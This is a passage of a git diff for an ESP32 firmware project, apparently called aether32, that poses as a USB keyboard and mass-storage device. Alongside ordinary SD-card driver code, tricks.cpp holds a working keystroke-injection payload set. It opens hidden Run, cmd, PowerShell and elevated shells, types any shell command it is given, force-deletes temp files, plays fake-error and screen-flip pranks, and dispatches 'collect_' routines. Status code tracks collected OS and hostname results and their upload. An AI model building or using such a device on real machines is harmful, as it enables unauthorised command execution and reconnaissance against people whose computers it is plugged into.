led_idle(bool red, bool green, bool blue); +void led_blink(uint8_t red, uint8_t green, uint8_t blue, bool continuous); +void led_radiate(bool red, bool green, bool blue); +void led_check_error(esp_err_t err); + +// // Function declarations +// void setup_rgb(); +// void blink(bool check); // default value = true + +#endif diff --git a/src/components/storage/SDCard.cpp b/src/components/storage/SDCard.cpp new file mode 100644 index 0000000..5911fc9 --- /dev/null +++ b/src/components/storage/SDCard.cpp @@ -0,0 +1,10 @@ +#include +#include "SDCard.h" + +SDCard::SDCard(Stream &debug, const char *mount_point) : m_debug(debug), m_mount_point(mount_point) +{ +} + +SDCard::~SDCard() +{ +} diff --git a/src/components/storage/SDCard.h b/src/components/storage/SDCard.h new file mode 100644 index 0000000..47a16a3 --- /dev/null +++ b/src/components/storage/SDCard.h @@ -0,0 +1,26 @@ +#pragma once + +#include +#include +#include + +#include + +class Stream; +class SDCard +{ +protected: + std::string m_mount_point; + int m_sector_size = 0; + int m_sector_count = 0; + Stream &m_debug; +public: + SDCard(Stream &debug, const char *mount_point); + virtual ~SDCard(); + virtual bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) = 0; + virtual bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) = 0; + virtual void printCardInfo() = 0; + size_t getSectorSize() { return m_sector_size; } + size_t getSectorCount() { return m_sector_count; } + const std::string &get_mount_point() { return m_mount_point; } +}; diff --git a/src/components/storage/SDCardArduino.cpp b/src/components/storage/SDCardArduino.cpp new file mode 100644 index 0000000..9e2e095 --- /dev/null +++ b/src/components/storage/SDCardArduino.cpp @@ -0,0 +1,72 @@ +#include +#include +#include + +#include "SDCardArduino.h" + +SDCardArduino::SDCardArduino(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs) + : SDCard(debug, mount_point) +{ + static SPIClass spi(HSPI); + spi.begin(clk, miso, mosi, cs); + if (SD.begin(cs, spi, 80000000, mount_point)) + { + debug.println("SD card initialized"); + } + else + { + debug.println("SD card initialization failed"); + } + m_sector_size = SD.sectorSize(); + m_sector_count = SD.numSectors(); +} + +SDCardArduino::~SDCardArduino() +{ + SD.end(); +} + +void SDCardArduino::printCardInfo() +{ + m_debug.printf("Card type: %d\n", SD.cardType()); + if (SD.cardType() == CARD_NONE) + { + m_debug.println("No SD card attached"); + return; + } + m_debug.printf("Card size: %lluMB\n", SD.cardSize() / (1024 * 1024)); +} + +bool SDCardArduino::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) +{ + digitalWrite(GPIO_NUM_2, HIGH); + bool res = true; + for (int i = 0; i < sector_count; i++) + { + res = SD.writeRAW((uint8_t *)src, start_sector + i); + if (!res) + { + break; + } + src += m_sector_size; + } + digitalWrite(GPIO_NUM_2, LOW); + return res; +} + +bool SDCardArduino::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) +{ + digitalWrite(GPIO_NUM_2, HIGH); + bool res = true; + for (int i = 0; i < sector_count; i++) + { + res = SD.readRAW((uint8_t *)dst, start_sector + i); + if (!res) + { + break; + } + dst += m_sector_size; + } + digitalWrite(GPIO_NUM_2, LOW); + return res; +} diff --git a/src/components/storage/SDCardArduino.h b/src/components/storage/SDCardArduino.h new file mode 100644 index 0000000..056b77c --- /dev/null +++ b/src/components/storage/SDCardArduino.h @@ -0,0 +1,14 @@ +#pragma once + +#include "SDCard.h" + +class SDCardArduino: public SDCard +{ +protected: +public: + SDCardArduino(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs); + ~SDCardArduino(); + bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count); + bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count); + void printCardInfo(); +}; diff --git a/src/components/storage/SDCardIdf.cpp b/src/components/storage/SDCardIdf.cpp new file mode 100644 index 0000000..895e469 --- /dev/null +++ b/src/components/storage/SDCardIdf.cpp @@ -0,0 +1,149 @@ +#include +#include +#include +#include +#include +#include +#include "esp_err.h" +#include "esp_log.h" +#include "esp_vfs_fat.h" +#include "driver/sdmmc_host.h" +#include "driver/sdspi_host.h" +#include "sdmmc_cmd.h" + +#include "SDCardIdf.h" + +#define SPI_DMA_CHAN SPI_DMA_CH_AUTO + +SDCardIdf::SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3) +: SDCard(debug, mount_point) +{ + // a mutex to prevent read and write overlapping + m_mutex = xSemaphoreCreateMutex(); + m_host.max_freq_khz = SDMMC_FREQ_52M; + m_host.flags = SDMMC_HOST_FLAG_4BIT; + esp_err_t ret; + // Options for mounting the filesystem. + // If format_if_mount_failed is set to true, SD card will be partitioned and + // formatted in case when mounting fails. + esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024}; + + m_debug.println("Initializing SD card"); + + sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); + slot_config.flags = SDMMC_SLOT_FLAG_INTERNAL_PULLUP; + slot_config.width = 4; + slot_config.clk = clk; + slot_config.cmd = cmd; + slot_config.d0 = d0; + slot_config.d1 = d1; + slot_config.d2 = d2; + slot_config.d3 = d3; + ret = esp_vfs_fat_sdmmc_mount(m_mount_point.c_str(), &m_host, &slot_config, &mount_config, &m_card); + if (ret != ESP_OK) + { + if (ret == ESP_FAIL) + { + m_debug.println("Failed to mount filesystem. " + "If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option."); + } + else + { + m_debug.printf("Failed to initialize the card (%s). " + "Make sure SD card lines have pull-up resistors in place.\n", + esp_err_to_name(ret)); + } + return; + } + m_debug.printf("SDCard mounted at: %s\n", m_mount_point.c_str()); + m_sector_count = m_card->csd.capacity; + m_sector_size = m_card->csd.sector_size; + m_debug.printf("SDCard sector count: %d, size: %d\n", m_sector_count, m_sector_size); + // Card has been initialized, print its properties + sdmmc_card_print_info(stdout, m_card); +} + +SDCardIdf::SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs) +: SDCard(debug, mount_point) +{ + // a mutex to prevent read and write overlapping + m_mutex = xSemaphoreCreateMutex(); + m_host.max_freq_khz = SDMMC_FREQ_52M; + esp_err_t ret; + // Options for mounting the filesystem. + // If format_if_mount_failed is set to true, SD card will be partitioned and + // formatted in case when mounting fails. + esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024}; + + m_debug.println("Initializing SD card"); + + spi_bus_config_t bus_cfg = { + .mosi_io_num = mosi, + .miso_io_num = miso, + .sclk_io_num = clk, + .quadwp_io_num = -1, + .quadhd_io_num = -1, + .max_transfer_sz = 16384, + .flags = 0, + .intr_flags = 0 + }; + ret = spi_bus_initialize(spi_host_device_t(m_host.slot), &bus_cfg, SPI_DMA_CHAN); + if (ret != ESP_OK) + { + m_debug.println("Failed to initialize bus."); + return; + } + + // This initializes the slot without card detect (CD) and write protect (WP) signals. + // Modify slot_config.gpio_cd and slot_config.gpio_wp if your board has these signals. + sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); + slot_config.gpio_cs = cs; + slot_config.host_id = spi_host_device_t(m_host.slot); + + ret = esp_vfs_fat_sdspi_mount(m_mount_point.c_str(), &m_host, &slot_config, &mount_config, &m_card); + if (ret != ESP_OK) + { + if (ret == ESP_FAIL) + { + m_debug.println("Failed to mount filesystem. " + "If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option."); + } + else + { + m_debug.printf("Failed to initialize the card (%s). " + "Make sure SD card lines have pull-up resistors in place.\n", + esp_err_to_name(ret)); + } + return; + } + m_debug.printf("SDCard mounted at: %s\n", m_mount_point.c_str()); + m_sector_count = m_card->csd.capacity; + m_sector_size = m_card->csd.sector_size; + m_debug.printf("SDCard sector count: %d, size: %d\n", m_sector_count, m_sector_size); + // Card has been initialized, print its properties + sdmmc_card_print_info(stdout, m_card); +} + +SDCardIdf::~SDCardIdf() +{ + // lock the SD card + xSemaphoreTake(m_mutex, portMAX_DELAY); + // All done, unmount partition and disable SDMMC or SPI peripheral + esp_vfs_fat_sdcard_unmount(m_mount_point.c_str(), m_card); + m_debug.println("Card unmounted"); + //deinitialize the bus after all devices are removed + spi_bus_free(spi_host_device_t(m_host.slot)); + // unlock the SD card + xSemaphoreGive(m_mutex); +} + +void SDCardIdf::printCardInfo() +{ + sdmmc_card_print_info(stdout, m_card); +} diff --git a/src/components/storage/SDCardIdf.h b/src/components/storage/SDCardIdf.h new file mode 100644 index 0000000..c03a8d1 --- /dev/null +++ b/src/components/storage/SDCardIdf.h @@ -0,0 +1,26 @@ +#pragma once + +#include "SDCard.h" + +#include +#include +#include +#include + +class SDCardIdf: public SDCard +{ +protected: + sdmmc_card_t *m_card; +#ifdef USE_SDIO + sdmmc_host_t m_host = SDMMC_HOST_DEFAULT(); +#else + sdmmc_host_t m_host = SDSPI_HOST_DEFAULT(); +#endif + // control access to the SD card + SemaphoreHandle_t m_mutex; +public: + SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs); + SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3); + ~SDCardIdf(); + void printCardInfo(); +}; diff --git a/src/components/storage/SDCardLazyWrite.cpp b/src/components/storage/SDCardLazyWrite.cpp new file mode 100644 index 0000000..353da27 --- /dev/null +++ b/src/components/storage/SDCardLazyWrite.cpp @@ -0,0 +1,124 @@ +#include +#include +#include +#include +#include +#include +#include "esp_err.h" +#include "esp_log.h" +#include "esp_vfs_fat.h" +#include "driver/sdmmc_host.h" +#include "driver/sdspi_host.h" +#include "sdmmc_cmd.h" + +#include "SDCardLazyWrite.h" + +static const char *TAG = "SDC"; + +#define SPI_DMA_CHAN SPI_DMA_CH_AUTO + +enum class RequestType { + READ, + WRITE +}; + +class Request { +public: + Request(RequestType type, void *data, size_t start_sector, size_t sector_count) + : m_type(type), m_start_sector(start_sector), m_sector_count(sector_count) { + if (type == RequestType::WRITE) { + m_data = malloc(sector_count * 512); + memcpy(m_data, data, sector_count * 512); + } else if(type == RequestType::READ) { + m_data = data; + } else { + m_data = NULL; + } + } + ~Request() { + if (m_type == RequestType::WRITE) { + free(m_data); + } + } + RequestType m_type; + void *m_data; + size_t m_start_sector; + size_t m_sector_count; +}; + +SDCardLazyWrite::SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs) +: SDCardIdf(debug, mount_point, miso, mosi, clk, cs) +{ + // a queue to hold requests (to read or write) + m_request_queue = xQueueCreate(10, sizeof(Request *)); + // a queue to hold the results of read requests + m_read_queue = xQueueCreate(10, sizeof(Request *)); + // create a task to drain the write queue + xTaskCreate([](void *param) { + SDCardLazyWrite *card = (SDCardLazyWrite *)param; + card->drainQueue(); + } + , "SDCardWriter", 4096, this, 1, NULL); +} + +SDCardLazyWrite::SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3) +: SDCardIdf(debug, mount_point, clk, cmd, d0, d1, d2, d3) +{ + // a queue to hold requests (to read or write) + m_request_queue = xQueueCreate(10, sizeof(Request *)); + // a queue to hold the results of read requests + m_read_queue = xQueueCreate(10, sizeof(Request *)); + // create a task to drain the write queue + xTaskCreate([](void *param) { + SDCardLazyWrite *card = (SDCardLazyWrite *)param; + card->drainQueue(); + } + , "SDCardWriter", 4096, this, 1, NULL); +} + +bool SDCardLazyWrite::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) { + xSemaphoreTake(m_mutex, portMAX_DELAY); + // push the write request onto the queue + Request *req = new Request(RequestType::WRITE, src, start_sector, sector_count); + xQueueSend(m_request_queue, &req, portMAX_DELAY); + xSemaphoreGive(m_mutex); + return true; +} + +void SDCardLazyWrite::drainQueue() { + Request *req; + while (xQueueReceive(m_request_queue, &req, portMAX_DELAY) == pdTRUE) { + // lock the SD card + xSemaphoreTake(m_mutex, portMAX_DELAY); + digitalWrite(GPIO_NUM_2, HIGH); + if (req->m_type == RequestType::WRITE) { + esp_err_t res = sdmmc_write_sectors(m_card, req->m_data, req->m_start_sector, req->m_sector_count); + delete req; + } else if (req->m_type == RequestType::READ) { + esp_err_t res = sdmmc_read_sectors(m_card, req->m_data, req->m_start_sector, req->m_sector_count); + xQueueSend(m_read_queue, &req, portMAX_DELAY); + } + digitalWrite(GPIO_NUM_2, LOW); + xSemaphoreGive(m_mutex); + } +} + +bool SDCardLazyWrite::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) { + xSemaphoreTake(m_mutex, portMAX_DELAY); + // check to see if the queue has any pending writes + if (uxQueueMessagesWaiting(m_request_queue) > 0) { + // push our read request onto the queue and wait for it to complete + Request *req = new Request(RequestType::READ, dst, start_sector, sector_count); + xQueueSend(m_request_queue, &req, portMAX_DELAY); + // wait for the read to complete + xQueueReceive(m_read_queue, &req, portMAX_DELAY); + delete req; + } else { + digitalWrite(GPIO_NUM_2, HIGH); + // no pending writes, so we can just read directly + esp_err_t res = sdmmc_read_sectors(m_card, dst, start_sector, sector_count); + digitalWrite(GPIO_NUM_2, LOW); + } + xSemaphoreGive(m_mutex); + return true; +} diff --git a/src/components/storage/SDCardLazyWrite.h b/src/components/storage/SDCardLazyWrite.h new file mode 100644 index 0000000..b28512c --- /dev/null +++ b/src/components/storage/SDCardLazyWrite.h @@ -0,0 +1,19 @@ +#pragma once + +#include "SDCardIdf.h" +#include + +class SDCardLazyWrite: public SDCardIdf +{ +private: + // queue up requests + QueueHandle_t m_request_queue; + // results of reading data + QueueHandle_t m_read_queue; + void drainQueue(); +public: + SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs); + SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3); + bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count); + bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count); +}; \ No newline at end of file diff --git a/src/components/storage/SDCardMultiSector.cpp b/src/components/storage/SDCardMultiSector.cpp new file mode 100644 index 0000000..793a4c4 --- /dev/null +++ b/src/components/storage/SDCardMultiSector.cpp @@ -0,0 +1,35 @@ +#include +#include "esp_vfs_fat.h" +#include "driver/sdmmc_host.h" +#include "driver/sdspi_host.h" +#include "sdmmc_cmd.h" + +#include "SDCardMultiSector.h" + +SDCardMultiSector::SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs) +: SDCardIdf(debug, mount_point, miso, mosi, clk, cs) +{ +} + +SDCardMultiSector::SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3) +: SDCardIdf(debug, mount_point, clk, cmd, d0, d1, d2, d3) +{ +} + +bool SDCardMultiSector::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) { + xSemaphoreTake(m_mutex, portMAX_DELAY); + digitalWrite(GPIO_NUM_2, HIGH); + esp_err_t res = sdmmc_write_sectors(m_card, src, start_sector, sector_count); + digitalWrite(GPIO_NUM_2, LOW); + xSemaphoreGive(m_mutex); + return res == ESP_OK; +} + +bool SDCardMultiSector::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) { + xSemaphoreTake(m_mutex, portMAX_DELAY); + digitalWrite(GPIO_NUM_2, HIGH); + esp_err_t res = sdmmc_read_sectors(m_card, dst, start_sector, sector_count); + digitalWrite(GPIO_NUM_2, LOW); + xSemaphoreGive(m_mutex); + return res == ESP_OK; +} diff --git a/src/components/storage/SDCardMultiSector.h b/src/components/storage/SDCardMultiSector.h new file mode 100644 index 0000000..fd0d463 --- /dev/null +++ b/src/components/storage/SDCardMultiSector.h @@ -0,0 +1,13 @@ +#pragma once + +#include "SDCardIdf.h" + +class SDCardMultiSector: public SDCardIdf +{ +protected: +public: + SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs); + SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3); + bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count); + bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count); +}; \ No newline at end of file diff --git a/src/components/storage/storage_wrapper.cpp b/src/components/storage/storage_wrapper.cpp new file mode 100644 index 0000000..9a3cced --- /dev/null +++ b/src/components/storage/storage_wrapper.cpp @@ -0,0 +1,93 @@ +// Main.cpp is changed to storage_wrapper.cpp +// This is done to integrate the esp32_sdcard_msc project developed by https://github.com/atomic14 +// The original source code of can be found at https://github.com/atomic14/esp32-sdcard-msc + +#include "storage_wrapper.h" +#include "components/rgb_control.h" + +#ifndef SD_CARD_SPEED_TEST +USBMSC msc; +#endif +SDCard *card; + +void log(const char *str) +{ + // Serial.println(str); + return; // Not using Serial +} + +static int32_t onWrite(uint32_t lba, uint32_t offset, uint8_t *buffer, uint32_t bufsize) +{ + // Serial.printf("Writing %d bytes to %d at offset\n", bufsize, lba, offset); + // this writes a complete sector so we should return sector size on success + if (card->writeSectors(buffer, lba, bufsize / card->getSectorSize())) + { + return bufsize; + } + return -1; +} + +static int32_t onRead(uint32_t lba, uint32_t offset, void *buffer, uint32_t bufsize) +{ + // Serial.printf("Reading %d bytes from %d at offset %d\n", bufsize, lba, offset); + // this reads a complete sector so we should return sector size on success + if (card->readSectors((uint8_t *)buffer, lba, bufsize / card->getSectorSize())) + { + return bufsize; + } + return -1; +} + +static bool onStartStop(uint8_t power_condition, bool start, bool load_eject) +{ + Serial.printf("StartStop: %d %d %d\n", power_condition, start, load_eject); + if (load_eject) + { +#ifndef SD_CARD_SPEED_TEST + msc.end(); +#endif + } + return true; +} + +bool isBootButtonClicked() +{ + return digitalRead(BOOT_BUTTON) == LOW; +} + +void mount_storage() +{ + // Prevent LED from starting + TaskHandle_t blink = xTaskGetHandle("blink_rgb"); + TaskHandle_t idle = xTaskGetHandle("idle_rgb"); + if (blink != nullptr) vTaskSuspend(blink); + if (idle != nullptr) vTaskSuspend(idle); + + pinMode(GPIO_NUM_2, OUTPUT); + +#ifdef USE_SDIO + card = new SDCardMultiSector(Serial, "/sd", SD_CARD_CLK, SD_CARD_CMD, SD_CARD_DAT0, SD_CARD_DAT1, SD_CARD_DAT2, SD_CARD_DAT3); +#else + card = new SDCardLazyWrite(Serial, "/sd", SD_CARD_MISO, SD_CARD_MOSI, SD_CARD_CLK, SD_CARD_CS); +#endif + if (card == nullptr) + return; + + msc.vendorID("ESP32"); + msc.productID("USB_MSC"); + msc.productRevision("1.0"); + msc.onRead(onRead); + msc.onWrite(onWrite); + msc.onStartStop(onStartStop); + msc.mediaPresent(true); + msc.begin(card->getSectorCount(), card->getSectorSize()); +} + +// Eject storage connected by mount_storage and restart the device +// After restart, the device shall be in USB-HID mode +void eject_storage() +{ + msc.end(); + delay(1000); + ESP.restart(); +} diff --git a/src/components/storage/storage_wrapper.h b/src/components/storage/storage_wrapper.h new file mode 100644 index 0000000..1df9892 --- /dev/null +++ b/src/components/storage/storage_wrapper.h @@ -0,0 +1,16 @@ +#include +#include "USB.h" +#include "USBMSC.h" + +#include "SDCardArduino.h" +#include "SDCardMultiSector.h" +#include "SDCardLazyWrite.h" + +#define BOOT_BUTTON 0 + +#define SPEED_TEST_BUFFER_SIZE 4096 +#define SPEED_TEST_NUMBER_SECTORS (SPEED_TEST_BUFFER_SIZE / 512) + +// Function declarations +void mount_storage(); +void eject_storage(); diff --git a/src/components/tricks.cpp b/src/components/tricks.cpp new file mode 100644 index 0000000..3187637 --- /dev/null +++ b/src/components/tricks.cpp @@ -0,0 +1,376 @@ +#include "tricks.h" +#include "exescript.h" +#include "collector.h" +#include +#include + +static void open_run_dialog() +{ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + Keyboard.releaseAll(); + delay(450); +} + +static void open_cmd_window() +{ + open_run_dialog(); + write_task("cmd", 25, true); + delay(700); +} + +static void open_powershell_window() +{ + open_run_dialog(); + write_task("powershell", 25, true); + delay(900); +} + +static void open_url(const char *url) +{ + open_run_dialog(); + write_task(url, 18, true); +} + +static void press_combo_gui(char key) +{ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.write(key); + Keyboard.releaseAll(); + delay(200); +} + +static void press_combo_ctrl(char key) +{ + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.write(key); + Keyboard.releaseAll(); + delay(200); +} + +static void press_combo_ctrl_shift(char key) +{ + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.write(key); + Keyboard.releaseAll(); + delay(200); +} + +static void press_combo_alt(char key) +{ + Keyboard.press(KEY_LEFT_ALT); + Keyboard.write(key); + Keyboard.releaseAll(); + delay(200); +} + +static void press_combo_gui_shift(char key) +{ + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.write(key); + Keyboard.releaseAll(); + delay(200); +} + +static void open_notepad() +{ + open_run_dialog(); + write_task("notepad", 25, true); + delay(900); +} + +static void fake_error_prank() +{ + open_notepad(); + const char *msg = R"(ERROR: System32 has encountered a critical failure. +Your computer may explode in 10 seconds. + +Just kidding. aether32 was here.)"; + write_task(msg, 12, false); +} + +static void devil_prank() +{ + open_notepad(); + const char *msg = R"(aether32 says hello! +The quick brown fox jumps over the lazy dog. +ABCDEFGHIJKLMNOPQRSTUVWXYZ +0123456789 !@#$%^&*())"; + write_task(msg, 8, false); +} + +static void alt_tab_spam(int count) +{ + for (int i = 0; i < count; i++) + { + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_TAB); + Keyboard.releaseAll(); + delay(350); + } +} + +void trick_type_text(const char *text, int delay_ms, bool enter, bool open_notepad_first) +{ + if (open_notepad_first) + { + open_notepad(); + delay(400); + } + write_task(text, delay_ms, enter); +} + +void trick_run_shell_command(const char *cmd, const char *shell, int delay_ms) +{ + if (strcmp(shell, "elevated") == 0) + { + open_elevated_cmd(); + delay(600); + write_task(cmd, delay_ms, true); + } + else if (strcmp(shell, "cmd") == 0) + { + open_cmd_window(); + write_task(cmd, delay_ms, true); + } + else if (strcmp(shell, "powershell") == 0) + { + open_powershell_window(); + write_task(cmd, delay_ms, true); + } + else + { + open_run_dialog(); + write_task(cmd, delay_ms, true); + } +} + +void trick_dispatch(const char *id) +{ + if (strcmp(id, "calc") == 0) + { + open_run_dialog(); + write_task("calc", 25, true); + } + else if (strcmp(id, "notepad") == 0) + { + open_notepad(); + } + else if (strcmp(id, "cmd") == 0) + { + open_cmd_window(); + } + else if (strcmp(id, "elevated_cmd") == 0) + { + open_elevated_cmd(); + } + else if (strcmp(id, "powershell") == 0) + { + open_powershell_window(); + } + else if (strcmp(id, "taskmgr") == 0) + { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.write(KEY_ESC); + Keyboard.releaseAll(); + } + else if (strcmp(id, "desktop") == 0) + { + press_combo_gui('d'); + } + else if (strcmp(id, "lock") == 0) + { + press_combo_gui('l'); + } + else if (strcmp(id, "minimize") == 0) + { + press_combo_gui('m'); + } + else if (strcmp(id, "alt_tab") == 0) + { + press_combo_alt(KEY_TAB); + } + else if (strcmp(id, "alt_tab_spam") == 0) + { + alt_tab_spam(6); + } + else if (strcmp(id, "caps") == 0) + { + Keyboard.write(KEY_CAPS_LOCK); + } + else if (strcmp(id, "screenshot") == 0) + { + press_combo_gui_shift('s'); + } + else if (strcmp(id, "close_win") == 0) + { + press_combo_alt(KEY_F4); + } + else if (strcmp(id, "refresh") == 0) + { + Keyboard.write(KEY_F5); + } + else if (strcmp(id, "select_all") == 0) + { + press_combo_ctrl('a'); + } + else if (strcmp(id, "copy") == 0) + { + press_combo_ctrl('c'); + } + else if (strcmp(id, "paste") == 0) + { + press_combo_ctrl('v'); + } + else if (strcmp(id, "undo") == 0) + { + press_combo_ctrl('z'); + } + else if (strcmp(id, "save") == 0) + { + press_combo_ctrl('s'); + } + else if (strcmp(id, "zoom_in") == 0) + { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.write('='); + Keyboard.releaseAll(); + } + else if (strcmp(id, "zoom_out") == 0) + { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.write('-'); + Keyboard.releaseAll(); + } + else if (strcmp(id, "fake_error") == 0) + { + fake_error_prank(); + } + else if (strcmp(id, "devil") == 0) + { + devil_prank(); + } + else if (strcmp(id, "google") == 0) + { + open_url("https://google.com"); + } + else if (strcmp(id, "youtube") == 0) + { + open_url("https://youtube.com"); + } + else if (strcmp(id, "settings") == 0) + { + open_run_dialog(); + write_task("ms-settings:", 20, true); + } + else if (strcmp(id, "control_panel") == 0) + { + open_run_dialog(); + write_task("control", 20, true); + } + else if (strcmp(id, "file_explorer") == 0) + { + press_combo_gui('e'); + } + else if (strcmp(id, "win_ver") == 0) + { + open_cmd_window(); + write_task("ver", 15, true); + } + else if (strcmp(id, "ipconfig") == 0) + { + open_cmd_window(); + write_task("ipconfig", 15, true); + } + else if (strcmp(id, "whoami") == 0) + { + open_cmd_window(); + write_task("whoami", 15, true); + } + else if (strcmp(id, "tree") == 0) + { + open_cmd_window(); + write_task("tree C:\\ /F", 12, true); + } + else if (strcmp(id, "flush_dns") == 0) + { + open_cmd_window(); + write_task("ipconfig /flushdns", 15, true); + } + else if (strcmp(id, "devmgmt") == 0) + { + open_run_dialog(); + write_task("devmgmt.msc", 20, true); + } + else if (strcmp(id, "diskmgmt") == 0) + { + open_run_dialog(); + write_task("diskmgmt.msc", 20, true); + } + else if (strcmp(id, "clear_temp") == 0) + { + open_elevated_cmd(); + delay(600); + write_task( + "Remove-Item $env:TEMP\\* -Recurse -Force -ErrorAction SilentlyContinue", + 12, true); + } + else if (strcmp(id, "star_wars") == 0) + { + open_cmd_window(); + write_task("telnet towel.blinkenlights.nl", 12, true); + } + else if (strcmp(id, "bsod_fake") == 0) + { + open_cmd_window(); + write_task(R"(echo Your PC ran into a problem and needs to restart.)", 10, true); + } + else if (strcmp(id, "flip_screen") == 0) + { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.write(KEY_DOWN_ARROW); + Keyboard.releaseAll(); + } + else if (strcmp(id, "spam_enter") == 0) + { + for (int i = 0; i < 10; i++) + { + Keyboard.write(KEY_RETURN); + delay(120); + } + } + else if (strcmp(id, "spam_esc") == 0) + { + for (int i = 0; i < 8; i++) + { + Keyboard.write(KEY_ESC); + delay(120); + } + } + else if (strcmp(id, "win_left") == 0) + { + press_combo_gui(KEY_LEFT_ARROW); + } + else if (strcmp(id, "win_right") == 0) + { + press_combo_gui(KEY_RIGHT_ARROW); + } + else if (strcmp(id, "win_up") == 0) + { + press_combo_gui(KEY_UP_ARROW); + } + else if (strcmp(id, "win_down") == 0) + { + press_combo_gui(KEY_DOWN_ARROW); + } + + // ── Collection tricks ────────────────────────────────────────────────── + else if (strncmp(id, "collect_", 8) == 0) + { + collect_dispatch(id + 8); + } +} diff --git a/src/components/tricks.h b/src/components/tricks.h new file mode 100644 index 0000000..7a7475c --- /dev/null +++ b/src/components/tricks.h @@ -0,0 +1,10 @@ +#ifndef TRICKS_H +#define TRICKS_H + +#include + +void trick_dispatch(const char *id); +void trick_run_shell_command(const char *cmd, const char *shell, int delay_ms); +void trick_type_text(const char *text, int delay_ms, bool enter, bool open_notepad_first); + +#endif diff --git a/src/components/upload_status.cpp b/src/components/upload_status.cpp new file mode 100644 index 0000000..d92d9cf --- /dev/null +++ b/src/components/upload_status.cpp @@ -0,0 +1,88 @@ +#include "upload_status.h" +#include "flash_fs.h" +#include + +static char s_last_upload[65] = ""; +static unsigned long s_last_upload_ms = 0; +static char s_scan_phase[32] = "idle"; +static bool s_uploading = false; + +static String json_escape(const String &s) +{ + String out; + out.reserve(s.length() + 8); + for (size_t i = 0; i < s.length(); i++) + { + char c = s.charAt(i); + if (c == '\\') out += "\\\\"; + else if (c == '"') out += "\\\""; + else if (c == '\n') out += "\\n"; + else if (c == '\r') { /* skip */ } + else out += c; + } + return out; +} + +static int count_result_files() +{ + int n = 0; + File dir = LittleFS.open(RESULTS_DIR); + if (!dir || !dir.isDirectory()) + return 0; + File entry = dir.openNextFile(); + while (entry) + { + if (!entry.isDirectory()) + n++; + entry.close(); + entry = dir.openNextFile(); + } + dir.close(); + return n; +} + +void upload_status_set_phase(const char *phase) +{ + if (!phase) + return; + strncpy(s_scan_phase, phase, sizeof(s_scan_phase) - 1); + s_scan_phase[sizeof(s_scan_phase) - 1] = '\0'; +} + +void upload_status_set_uploading(bool uploading) +{ + s_uploading = uploading; +} + +void upload_status_on_upload(const char *filename) +{ + if (!filename) + return; + strncpy(s_last_upload, filename, sizeof(s_last_upload) - 1); + s_last_upload[sizeof(s_last_upload) - 1] = '\0'; + s_last_upload_ms = millis(); + s_uploading = false; +} + +String upload_status_json() +{ + String os = flash_fs_read_result("os.txt", 64); + String host = flash_fs_read_result("hostname.txt", 256); + 